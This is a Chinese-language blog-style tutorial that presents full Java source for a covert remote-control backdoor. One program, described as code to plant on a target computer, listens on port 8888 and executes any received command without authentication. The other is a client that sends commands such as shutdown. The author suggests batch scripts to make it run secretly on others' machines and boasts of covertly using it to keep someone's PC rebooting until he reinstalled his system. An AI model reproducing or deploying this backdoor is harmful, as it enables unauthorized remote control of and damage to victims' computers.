记得:Eric S. Raymond在他著名的文章《如何成为一名黑客》中,将Java列为五门黑客必备语言之一,其它四门分别是:C、C++、Perl、Python。
而Java最大的特性是系统无关性,通过JVM可以无缝应用在各种操作系统。编写出来的程序,根本不关联任何的操作系统特性,除非JNI调用C++的DLL,但这样还不如直接用DLL。到目前为止,我没有发现任何一个侵入软件,是用Java编写的。
其实,Java是可以编写数据包分析软件,或者浅层次的端口扫描软件的。今天咱们就一起来学习一个简单的程序吧!
一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。
关于135的端口说明如下:
135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。
端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。
当然通过java来实现,确实有点困难,在这就不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本篇的研究范围,如有兴趣的童鞋可以自己查阅。言归正传,我们看一下java远程控制的简单实现。
远程计算机注入的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
public class Main implements Runnable {
public static final int TCP_PORT = 8888;
ServerSocket ss = null;
Socket s = null;
String cmd = null;
public Main(Socket s) {
this.s = s;
}
public void startServer() {
try {
ss = new ServerSocket(TCP_PORT);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
while (true) {
try {
s = ss.accept();
new Thread(new Main(s)).start();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public void run() {
try {
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
dos.writeUTF("连接成功");
DataInputStream dis = new DataInputStream(s.getInputStream());
while (true) {
cmd = dis.readUTF();
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
}
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
new Main(null).startServer();
}
}
原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。
本机的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;
import javax.swing.JOptionPane;
public class Main {
public static final int TCP_PORT = 8888;
public static String ip = "127.0.0.1";
Socket s = null;
String cmd = null;
public static void main(String[] args) {
new Main().connect();
}
public void connect(){
try {
s = new Socket(ip,TCP_PORT);
System.out.println("连接成功");
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
do{
cmd = JOptionPane.showInputDialog("输入命令:");
dos.writeUTF(cmd);
}while(!cmd.equals("over"));
new Thread(new RecvThread()).start();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private class RecvThread implements Runnable{
public void run() {
DataInputStream dis;
while(true){
try {
dis = new DataInputStream(s.getInputStream());
String message = dis.readUTF();
JOptionPane.showMessageDialog(null, message);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
}
原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。
弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。
注:
需要说明的是,这里能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。小姐姐就用着段简单的代码,让一个小哥哥的电脑频繁的重启,哈哈哈!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!欢迎评论留言,小姐姐一一回复!